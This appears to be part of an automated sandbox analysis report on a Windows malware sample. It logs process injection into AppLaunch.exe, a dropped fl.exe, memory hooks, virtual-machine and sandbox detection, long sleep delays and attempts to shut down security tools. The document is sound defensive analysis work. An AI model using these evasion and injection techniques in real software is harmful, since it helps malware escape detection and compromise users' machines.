Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 7454F8E0 value: E9 2A 07 1C 8E	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 2720005 value: E9 FB 42 E5 71	Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: PID: 7008 base: 74574300 value: E9 0A BD 1A 8E	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe, 00000000.00000002.312192451.0000000000436000.00000020.00020000.sdmp

Binary or memory string: FSBIEDLL.DLL

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\fl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	RDTSC instruction interceptor: First address: 0000000000588117 second address: 000000000058811D instructions: 0x00000000 rdtsc 0x00000002 cbw 0x00000004 push esi 0x00000005 push ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	RDTSC instruction interceptor: First address: 00000000005DCB79 second address: 00000000005DCB7E instructions: 0x00000000 rdtsc 0x00000002 cwd 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	RDTSC instruction interceptor: First address: 00000000005EF2AB second address: 0000000000588117 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, dx 0x00000005 bswap edx 0x00000007 pop esi 0x00000008 cwde 0x00000009 pop eax 0x0000000a pop edi 0x0000000b cdq 0x0000000c movzx ebx, dx 0x0000000f cmovne bp, si 0x00000013 pop ebp 0x00000014 not dl 0x00000016 bswap edx 0x00000018 pop edx 0x00000019 setnle bh 0x0000001c mov ebx, 51A11F00h 0x00000021 pop ebx 0x00000022 ret 0x00000023 push ebp 0x00000024 not ebp 0x00000026 mov ebp, esp 0x00000028 jmp 00007FC5BC7BBB99h 0x0000002d call 00007FC5BC4F43F5h 0x00000032 push D7BEFEFEh 0x00000037 call 00007FC5BC6794EBh 0x0000003c push ebx 0x0000003d mov bl, ah 0x0000003f jmp 00007FC5BC529E32h 0x00000044 push edx 0x00000045 not bh 0x00000047 push ebp 0x00000048 bswap edx 0x0000004a cdq 0x0000004b mov bh, FFFFFF89h 0x0000004e push edi 0x0000004f cmovbe edi, ecx 0x00000052 cwd 0x00000054 push eax 0x00000055 rdtsc

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe TID: 7068	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe TID: 6764	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe TID: 7132	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe TID: 1308	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe TID: 5264	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Window / User API: threadDelayed 875			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Window / User API: threadDelayed 5773			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\fl.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: WerFault.exe, 0000000A.00000002.311361713.0000000004B50000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWx9
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.me
Source: AppLaunch.exe, 00000002.00000002.355165732.000000000A5D1000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\H
Source: AppLaunch.exe, 00000002.00000002.355062640.000000000A542000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: AppLaunch.exe, 00000002.00000002.348057731.0000000005731000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.10.dr	Binary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
Source: AppLaunch.exe, 00000002.00000003.332054425.000000000578D000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMware_7WUNGW9Win32_VideoControllerRYF_KPKOVideoController120060621000000.000000-000526.5731display.infMSBDANYRZZ3ZEPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsM2LDY_6KV
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: AppLaunch.exe, 00000002.00000002.355131977.000000000A5C0000.00000004.00000001.sdmp	Binary or memory string: 100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@4
Source: AppLaunch.exe, 00000002.00000002.348057731.0000000005731000.00000004.00000020.sdmp	Binary or memory string: ECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&00

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000			Jump to behavior
Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 519A008			Jump to behavior

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Show sources

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Message posted: Message id: QUERYENDSESSION

Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process created: C:\Users\user\AppData\Local\Temp\fl.exe 'C:\Users\user\AppData\Local\Temp\fl.exe'			Jump to behavior

Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe, 00000000.00000000.285654777.00000000012D0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe, 00000000.00000000.285654777.00000000012D0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 702d02cc220387cd8f2029520cde97bd3879a1e151b19.exe, 00000000.00000000.285654777.00000000012D0000.00000002.00020000.sdmp	Binary or memory string: Progman
